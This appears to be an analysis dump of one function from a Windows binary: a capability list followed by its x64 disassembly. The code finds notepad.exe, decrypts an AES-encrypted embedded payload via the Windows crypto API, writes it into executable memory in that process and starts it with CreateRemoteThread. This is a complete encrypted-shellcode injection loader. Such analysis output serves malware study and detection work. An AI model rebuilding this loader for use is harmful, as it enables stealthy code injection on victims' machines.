Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Enumerate processes
Hash data via wincrypt
Initialize hashing via wincrypt
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x190
xor edx, edx
xor r14d, r14d
mov edi, r14d
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001254
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x130
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140001080
nop dword [rax]
lea rdx, [rsp + 0x8c]
lea rcx, str.notepad.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x14000107c
lea rdx, [rsp + 0x60]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001050
jmp 0x140001080
mov edi, dword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x140001254
mov r8d, edi
mov qword [rsp + 0x1a8], rsi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140001234
mov ecx, dword [0x140033010]
mov r9d, 0x18
mov dword [rsp + 0x40], ecx
xor r8d, r8d
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x1a0], rbp
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea rbp, section..data
test eax, eax
je 0x1400011a8
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400011a8
mov rcx, qword [rsp + 0x50]
lea rdx, [0x140033000]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400011a8
mov r8, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400011a8
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbp
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1400011a8
mov rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov ebx, dword [0x140033010]
mov r9d, 0x1000
mov r8d, ebx
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, ebx
mov qword [rsp + 0x20], r14
mov rdx, rax
mov r8, rbp
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r14
mov r9, rdi
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbp, qword [rsp + 0x1a0]
mov rbx, rax
test rax, rax
je 0x14000122b
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x1a8]
xor eax, eax
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
xor eax, eax
jmp 0x14000123e